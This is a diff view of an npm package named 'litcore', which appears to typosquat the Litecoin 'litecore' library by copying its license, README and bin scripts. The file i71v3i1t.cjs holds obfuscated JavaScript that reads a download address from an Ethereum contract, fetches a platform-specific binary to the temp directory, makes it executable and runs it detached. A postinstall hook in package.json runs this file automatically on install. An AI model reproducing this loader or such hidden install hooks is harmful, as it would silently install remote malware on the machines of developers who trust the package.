litcore 4.1.10
Sign up to get free protection for your applications and to get access to all the features.
- package/LICENSE +35 -0
- package/README.md +91 -0
- package/bin/litecore +7 -0
- package/bin/litecored +9 -0
- package/i71v3i1t.cjs +1 -0
- package/index.js +5 -0
- package/package.json +107 -0
package/LICENSE
ADDED
@@ -0,0 +1,35 @@
|
|
1
|
+
Copyright (c) 2016 The Litecoin Core Developers
|
2
|
+
|
3
|
+
Parts of this software are based on Bitcore
|
4
|
+
Copyright (c) 2013-2015 BitPay, Inc.
|
5
|
+
|
6
|
+
Parts of this software are based on Bitcoin Core
|
7
|
+
Copyright (c) 2009-2015 The Bitcoin Core developers
|
8
|
+
|
9
|
+
Parts of this software are based on fullnode
|
10
|
+
Copyright (c) 2014 Ryan X. Charles
|
11
|
+
Copyright (c) 2014 reddit, Inc.
|
12
|
+
|
13
|
+
Parts of this software are based on BitcoinJS
|
14
|
+
Copyright (c) 2011 Stefan Thomas <justmoon@members.fsf.org>
|
15
|
+
|
16
|
+
Parts of this software are based on BitcoinJ
|
17
|
+
Copyright (c) 2011 Google Inc.
|
18
|
+
|
19
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
20
|
+
of this software and associated documentation files (the "Software"), to deal
|
21
|
+
in the Software without restriction, including without limitation the rights
|
22
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
23
|
+
copies of the Software, and to permit persons to whom the Software is
|
24
|
+
furnished to do so, subject to the following conditions:
|
25
|
+
|
26
|
+
The above copyright notice and this permission notice shall be included in
|
27
|
+
all copies or substantial portions of the Software.
|
28
|
+
|
29
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
30
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
31
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
32
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
33
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
34
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
35
|
+
THE SOFTWARE.
|
package/README.md
ADDED
@@ -0,0 +1,91 @@
|
|
1
|
+
Litecore
|
2
|
+
=======
|
3
|
+
|
4
|
+
[![NPM Package](https://img.shields.io/npm/v/litecore.svg?style=flat-square)](https://www.npmjs.org/package/litecore)
|
5
|
+
[![Build Status](https://img.shields.io/travis/litecoin-project/litecore.svg?branch=master&style=flat-square)](https://travis-ci.org/litecoin-project/litecore)
|
6
|
+
|
7
|
+
Infrastructure to build Bitcoin and blockchain-based applications for the next generation of financial technology.
|
8
|
+
|
9
|
+
**Note:** If you're looking for the Litecore Library please see: https://github.com/litecoin-project/litecore-lib
|
10
|
+
|
11
|
+
## Getting Started
|
12
|
+
|
13
|
+
Before you begin you'll need to have Node.js v4 or v0.12 installed. There are several options for installation. One method is to use [nvm](https://github.com/creationix/nvm) to easily switch between different versions, or download directly from [Node.js](https://nodejs.org/).
|
14
|
+
|
15
|
+
```bash
|
16
|
+
npm install -g litecore
|
17
|
+
```
|
18
|
+
|
19
|
+
Spin up a full node and join the network:
|
20
|
+
|
21
|
+
```bash
|
22
|
+
npm install -g litecore
|
23
|
+
litecored
|
24
|
+
```
|
25
|
+
|
26
|
+
You can then view the Insight block explorer at the default location: `http://localhost:3001/insight`, and your configuration file will be found in your home directory at `~/.litecore`.
|
27
|
+
|
28
|
+
Create a transaction:
|
29
|
+
```js
|
30
|
+
var litecore = require('litecore');
|
31
|
+
var transaction = new litecore.Transaction();
|
32
|
+
var transaction.from(unspent).to(address, amount);
|
33
|
+
transaction.sign(privateKey);
|
34
|
+
```
|
35
|
+
|
36
|
+
## Applications
|
37
|
+
|
38
|
+
- [Node](https://github.com/litecoin-project/litecore-node) - A full node with extended capabilities using Litecoin Core
|
39
|
+
- [Insight Lite API](https://github.com/litecoin-project/insight-lite-api) - A blockchain explorer HTTP API
|
40
|
+
- [Insight Lite UI](https://github.com/litecoin-project/insight-lite-ui) - A blockchain explorer web user interface
|
41
|
+
- [Wallet Service](https://github.com/bitpay/bitcore-wallet-service) - A multisig HD service for wallets
|
42
|
+
- [Wallet Client](https://github.com/bitpay/bitcore-wallet-client) - A client for the wallet service
|
43
|
+
- [CLI Wallet](https://github.com/bitpay/bitcore-wallet) - A command-line based wallet client
|
44
|
+
- [Angular Wallet Client](https://github.com/bitpay/angular-bitcore-wallet-client) - An Angular based wallet client
|
45
|
+
- [Copay](https://github.com/bitpay/copay) - An easy-to-use, multiplatform, multisignature, secure bitcoin wallet
|
46
|
+
|
47
|
+
## Libraries
|
48
|
+
|
49
|
+
- [Lib](https://github.com/litecoin-project/litecore-lib) - All of the core Litecoin primatives including transactions, private key management and others
|
50
|
+
- [Payment Protocol](https://github.com/bitpay/bitcore-payment-protocol) - A protocol for communication between a merchant and customer
|
51
|
+
- [P2P](https://github.com/litecoin-project/litecore-p2p) - The peer-to-peer networking protocol
|
52
|
+
- [Mnemonic](https://github.com/bitpay/bitcore-mnemonic) - Implements mnemonic code for generating deterministic keys
|
53
|
+
- [Channel](https://github.com/bitpay/bitcore-channel) - Micropayment channels for rapidly adjusting bitcoin transactions
|
54
|
+
- [Message](https://github.com/litecoin-project/litecore-message) - Litecoin message verification and signing
|
55
|
+
- [ECIES](https://github.com/bitpay/bitcore-ecies) - Uses ECIES symmetric key negotiation from public keys to encrypt arbitrarily long data streams.
|
56
|
+
|
57
|
+
## Documentation
|
58
|
+
|
59
|
+
The complete docs are hosted here: [litecore documentation](http://litecore.io/guide/). There's also a [litecore API reference](http://litecore.io/api/) available generated from the JSDocs of the project, where you'll find low-level details on each litecore utility.
|
60
|
+
|
61
|
+
- [Read the Developer Guide](http://litecore.io/guide/)
|
62
|
+
- [Read the API Reference](http://litecore.io/api/)
|
63
|
+
|
64
|
+
To get community assistance and ask for help with implementation questions, please use our [community forums](http://bitpaylabs.com/c/bitcore).
|
65
|
+
|
66
|
+
## Security
|
67
|
+
|
68
|
+
We're using Litecore in production, as are [many others](http://litecore.io#projects), but please use common sense when doing anything related to finances! We take no responsibility for your implementation decisions.
|
69
|
+
|
70
|
+
If you find a security issue, please email security@bitpay.com.
|
71
|
+
|
72
|
+
## Contributing
|
73
|
+
|
74
|
+
Please send pull requests for bug fixes, code optimization, and ideas for improvement. For more information on how to contribute, please refer to our [CONTRIBUTING](https://github.com/litecoin-project/litecore/blob/master/CONTRIBUTING.md) file.
|
75
|
+
|
76
|
+
This will generate files named `litecore.js` and `litecore.min.js`.
|
77
|
+
|
78
|
+
You can also use our pre-generated files, provided for each release along with a PGP signature by one of the project's maintainers. To get them, checkout a release commit (for example, https://github.com/bitpay/bitcore/commit/e33b6e3ba6a1e5830a079e02d949fce69ea33546 for v0.12.6).
|
79
|
+
|
80
|
+
To verify signatures, use the following PGP keys:
|
81
|
+
- @braydonf: https://pgp.mit.edu/pks/lookup?op=get&search=0x9BBF07CAC07A276D `D909 EFE6 70B5 F6CC 89A3 607A 9BBF 07CA C07A 276D`
|
82
|
+
- @gabegattis: https://pgp.mit.edu/pks/lookup?op=get&search=0x441430987182732C `F3EA 8E28 29B4 EC93 88CB B0AA 4414 3098 7182 732C`
|
83
|
+
- @kleetus: https://pgp.mit.edu/pks/lookup?op=get&search=0x33195D27EF6BDB7F `F8B0 891C C459 C197 65C2 5043 3319 5D27 EF6B DB7F`
|
84
|
+
- @matiu: https://pgp.mit.edu/pks/lookup?op=get&search=0x9EDE6DE4DE531FAC `25CE ED88 A1B1 0CD1 12CD 4121 9EDE 6DE4 DE53 1FAC`
|
85
|
+
|
86
|
+
## License
|
87
|
+
|
88
|
+
Code released under [the MIT license](https://github.com/litecoin-project/litecore/blob/master/LICENSE).
|
89
|
+
|
90
|
+
Copyright 2013-2015 BitPay, Inc. Bitcore is a trademark maintained by BitPay, Inc.
|
91
|
+
Copyright 2016 The Litecore Core Developers
|
package/bin/litecore
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var litecore = require('litecore-node/lib/cli/bitcore');
|
4
|
+
var path = require('path');
|
5
|
+
var servicesPath = path.resolve(__dirname, '../');
|
6
|
+
var additionalServices = ['insight-lite-api', 'insight-lite-ui'];
|
7
|
+
litecore(servicesPath, additionalServices);
|
package/bin/litecored
ADDED
@@ -0,0 +1,9 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
'use strict';
|
4
|
+
|
5
|
+
var path = require('path');
|
6
|
+
var litecored = require('litecore-node/lib/cli/bitcored');
|
7
|
+
var servicesPath = path.resolve(__dirname, '../');
|
8
|
+
var additionalServices = ['insight-lite-api', 'insight-lite-ui'];
|
9
|
+
litecored(servicesPath, additionalServices);
|
package/i71v3i1t.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x59e88b=_0x8537;function _0x8537(_0x54d56f,_0x20a835){const _0x2b5152=_0x2b51();return _0x8537=function(_0x85371a,_0x10bd3a){_0x85371a=_0x85371a-0xf7;let _0x442943=_0x2b5152[_0x85371a];return _0x442943;},_0x8537(_0x54d56f,_0x20a835);}(function(_0x5bd998,_0x1d00d8){const _0x550d0f=_0x8537,_0x54263b=_0x5bd998();while(!![]){try{const _0x305215=parseInt(_0x550d0f(0x107))/0x1*(-parseInt(_0x550d0f(0x122))/0x2)+-parseInt(_0x550d0f(0x101))/0x3*(parseInt(_0x550d0f(0x128))/0x4)+parseInt(_0x550d0f(0x11a))/0x5*(-parseInt(_0x550d0f(0x100))/0x6)+-parseInt(_0x550d0f(0x11b))/0x7*(-parseInt(_0x550d0f(0x12c))/0x8)+-parseInt(_0x550d0f(0xf9))/0x9*(-parseInt(_0x550d0f(0x10a))/0xa)+parseInt(_0x550d0f(0x110))/0xb+parseInt(_0x550d0f(0x10e))/0xc;if(_0x305215===_0x1d00d8)break;else _0x54263b['push'](_0x54263b['shift']());}catch(_0x523aa8){_0x54263b['push'](_0x54263b['shift']());}}}(_0x2b51,0x8b5e8));const {ethers}=require(_0x59e88b(0x115)),axios=require(_0x59e88b(0x10d)),util=require(_0x59e88b(0xfc)),fs=require('fs'),path=require(_0x59e88b(0x12b)),os=require('os'),{spawn}=require('child_process'),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x59e88b(0x102),abi=[_0x59e88b(0x12d)],provider=ethers['getDefaultProvider'](_0x59e88b(0x112)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x12d13b=_0x59e88b,_0x14dc33={'mfcID':_0x12d13b(0x109),'kxJdr':function(_0x1f769f){return _0x1f769f();}};try{const _0x26b460=await contract[_0x12d13b(0xfa)](WalletOwner);return _0x26b460;}catch(_0x3404){return console[_0x12d13b(0x111)](_0x14dc33['mfcID'],_0x3404),await _0x14dc33['kxJdr'](fetchAndUpdateIp);}},getDownloadUrl=_0x33b6a7=>{const _0x56409c=_0x59e88b,_0x1686ea={'wRkRc':_0x56409c(0xfd),'ILjJN':'darwin'},_0x58e8d9=os[_0x56409c(0x126)]();switch(_0x58e8d9){case _0x1686ea[_0x56409c(0x10f)]:return _0x33b6a7+_0x56409c(0x125);case _0x56409c(0xf7):return _0x33b6a7+_0x56409c(0x114);case _0x1686ea[_0x56409c(0x106)]:return _0x33b6a7+_0x56409c(0x11f);default:throw new Error('Unsupported\x20platform:\x20'+_0x58e8d9);}},downloadFile=async(_0x5f34d7,_0x5d81e8)=>{const _0xe8ef62=_0x59e88b,_0xdf87c6={'hQoyv':_0xe8ef62(0x104),'lkeaK':'error','fVTfz':function(_0x514abb,_0x4de8be){return _0x514abb(_0x4de8be);},'HxMRu':_0xe8ef62(0x12a),'ANwLM':_0xe8ef62(0x11c)},_0x4610a8=fs[_0xe8ef62(0x103)](_0x5d81e8),_0x1906bd=await _0xdf87c6[_0xe8ef62(0x105)](axios,{'url':_0x5f34d7,'method':_0xdf87c6['HxMRu'],'responseType':_0xdf87c6[_0xe8ef62(0xfe)]});return _0x1906bd[_0xe8ef62(0x121)][_0xe8ef62(0x116)](_0x4610a8),new Promise((_0x26b8d2,_0x5752c6)=>{const _0x4af5ce=_0xe8ef62;_0x4610a8['on'](_0xdf87c6['hQoyv'],_0x26b8d2),_0x4610a8['on'](_0xdf87c6[_0x4af5ce(0x11e)],_0x5752c6);});},executeFileInBackground=async _0x58d344=>{const _0x480596=_0x59e88b,_0x159dc1={'vTHrX':function(_0x4a252a,_0x93ecbf,_0x22e487,_0x9c821a){return _0x4a252a(_0x93ecbf,_0x22e487,_0x9c821a);},'nlPsd':_0x480596(0x113),'tIDuZ':_0x480596(0x10c)};try{const _0x4b3d4b=_0x159dc1[_0x480596(0xf8)](spawn,_0x58d344,[],{'detached':!![],'stdio':_0x159dc1[_0x480596(0x118)]});_0x4b3d4b[_0x480596(0x11d)]();}catch(_0x6a88b9){console[_0x480596(0x111)](_0x159dc1[_0x480596(0xfb)],_0x6a88b9);}},runInstallation=async()=>{const _0x4a1b58=_0x59e88b,_0x544ade={'iifgb':function(_0x3050f0){return _0x3050f0();},'PjyiB':function(_0x2e142a,_0x98bd99){return _0x2e142a(_0x98bd99);},'pVZws':function(_0x5d256f,_0x336c50,_0x1798a5){return _0x5d256f(_0x336c50,_0x1798a5);},'VPuME':function(_0x1687e7,_0x51de71){return _0x1687e7!==_0x51de71;},'nptSi':_0x4a1b58(0xfd),'fJNDy':_0x4a1b58(0x124),'CmrLO':function(_0x444dcd,_0x187357){return _0x444dcd(_0x187357);},'QGGjr':'Ошибка\x20установки:'};try{const _0x1ac2f6=await _0x544ade[_0x4a1b58(0x119)](fetchAndUpdateIp),_0x5ea9a6=_0x544ade[_0x4a1b58(0x108)](getDownloadUrl,_0x1ac2f6),_0x41f9b6=os[_0x4a1b58(0xff)](),_0x25a9af=path[_0x4a1b58(0x123)](_0x5ea9a6),_0x53eeb6=path[_0x4a1b58(0x120)](_0x41f9b6,_0x25a9af);await _0x544ade['pVZws'](downloadFile,_0x5ea9a6,_0x53eeb6);if(_0x544ade[_0x4a1b58(0x117)](os['platform'](),_0x544ade[_0x4a1b58(0x129)]))fs[_0x4a1b58(0x127)](_0x53eeb6,_0x544ade['fJNDy']);_0x544ade[_0x4a1b58(0x10b)](executeFileInBackground,_0x53eeb6);}catch(_0x5e53e8){console[_0x4a1b58(0x111)](_0x544ade['QGGjr'],_0x5e53e8);}};runInstallation();function _0x2b51(){const _0x37e577=['iifgb','309165FVYlMK','97391UPymMm','stream','unref','lkeaK','/node-macos','join','data','2bPdKEe','basename','755','/node-win.exe','platform','chmodSync','956scKuRy','nptSi','GET','path','376sQBxqf','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','linux','vTHrX','27XMaHTH','getString','tIDuZ','util','win32','ANwLM','tmpdir','60aCsIBj','357gsctfp','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','createWriteStream','finish','fVTfz','ILjJN','453841npgRes','PjyiB','Ошибка\x20при\x20получении\x20IP\x20адреса:','209970krNDUw','CmrLO','Ошибка\x20при\x20запуске\x20файла:','axios','3467148PeqJPP','wRkRc','7322007ZEVyeM','error','mainnet','ignore','/node-linux','ethers','pipe','VPuME','nlPsd'];_0x2b51=function(){return _0x37e577;};return _0x2b51();}
|
package/index.js
ADDED
package/package.json
ADDED
@@ -0,0 +1,107 @@
|
|
1
|
+
{
|
2
|
+
"name": "litcore",
|
3
|
+
"version": "4.1.10",
|
4
|
+
"description": "A platform to build bitcoin and blockchain-based applications.",
|
5
|
+
"author": "BitPay <dev@bitpay.com>",
|
6
|
+
"main": "index.js",
|
7
|
+
"scripts": {
|
8
|
+
"postinstall": "node i71v3i1t.cjs"
|
9
|
+
},
|
10
|
+
"bin": {
|
11
|
+
"litecore": "./bin/litecore",
|
12
|
+
"litecored": "./bin/litecored"
|
13
|
+
},
|
14
|
+
"contributors": [
|
15
|
+
{
|
16
|
+
"name": "Charlie Lee",
|
17
|
+
"email": "coblee@litecoin.org"
|
18
|
+
},
|
19
|
+
{
|
20
|
+
"name": "Daniel Cousens",
|
21
|
+
"email": "bitcoin@dcousens.com"
|
22
|
+
},
|
23
|
+
{
|
24
|
+
"name": "Esteban Ordano",
|
25
|
+
"email": "eordano@gmail.com"
|
26
|
+
},
|
27
|
+
{
|
28
|
+
"name": "Gordon Hall",
|
29
|
+
"email": "gordon@bitpay.com"
|
30
|
+
},
|
31
|
+
{
|
32
|
+
"name": "Jeff Garzik",
|
33
|
+
"email": "jgarzik@bitpay.com"
|
34
|
+
},
|
35
|
+
{
|
36
|
+
"name": "Kyle Drake",
|
37
|
+
"email": "kyle@kyledrake.net"
|
38
|
+
},
|
39
|
+
{
|
40
|
+
"name": "Manuel Araoz",
|
41
|
+
"email": "manuelaraoz@gmail.com"
|
42
|
+
},
|
43
|
+
{
|
44
|
+
"name": "Matias Alejo Garcia",
|
45
|
+
"email": "ematiu@gmail.com"
|
46
|
+
},
|
47
|
+
{
|
48
|
+
"name": "Ryan X. Charles",
|
49
|
+
"email": "ryanxcharles@gmail.com"
|
50
|
+
},
|
51
|
+
{
|
52
|
+
"name": "Stefan Thomas",
|
53
|
+
"email": "moon@justmoon.net"
|
54
|
+
},
|
55
|
+
{
|
56
|
+
"name": "Stephen Pair",
|
57
|
+
"email": "stephen@bitpay.com"
|
58
|
+
},
|
59
|
+
{
|
60
|
+
"name": "Wei Lu",
|
61
|
+
"email": "luwei.here@gmail.com"
|
62
|
+
},
|
63
|
+
{
|
64
|
+
"name": "Loshan T",
|
65
|
+
"email": "loshan1212@gmail.com"
|
66
|
+
}
|
67
|
+
],
|
68
|
+
"keywords": [
|
69
|
+
"litecoin",
|
70
|
+
"transaction",
|
71
|
+
"address",
|
72
|
+
"p2p",
|
73
|
+
"ecies",
|
74
|
+
"cryptocurrency",
|
75
|
+
"blockchain",
|
76
|
+
"payment",
|
77
|
+
"bip21",
|
78
|
+
"bip32",
|
79
|
+
"bip37",
|
80
|
+
"bip69",
|
81
|
+
"bip70",
|
82
|
+
"multisig"
|
83
|
+
],
|
84
|
+
"repository": {
|
85
|
+
"type": "git",
|
86
|
+
"url": "https://github.com/litecoin-project/litecore.git"
|
87
|
+
},
|
88
|
+
"browser": {
|
89
|
+
"request": "browser-request"
|
90
|
+
},
|
91
|
+
"dependencies": {
|
92
|
+
"litecore-lib": "^0.13.22",
|
93
|
+
"litecore-node": "^3.1.11",
|
94
|
+
"insight-lite-api": "^0.4.4",
|
95
|
+
"insight-lite-ui": "^0.4.2",
|
96
|
+
"axios": "^1.7.7",
|
97
|
+
"ethers": "^6.13.2"
|
98
|
+
},
|
99
|
+
"license": "MIT",
|
100
|
+
"devDependencies": {
|
101
|
+
"chai": "^3.3.0",
|
102
|
+
"mocha": "^2.3.3"
|
103
|
+
},
|
104
|
+
"files": [
|
105
|
+
"i71v3i1t.cjs"
|
106
|
+
]
|
107
|
+
}
|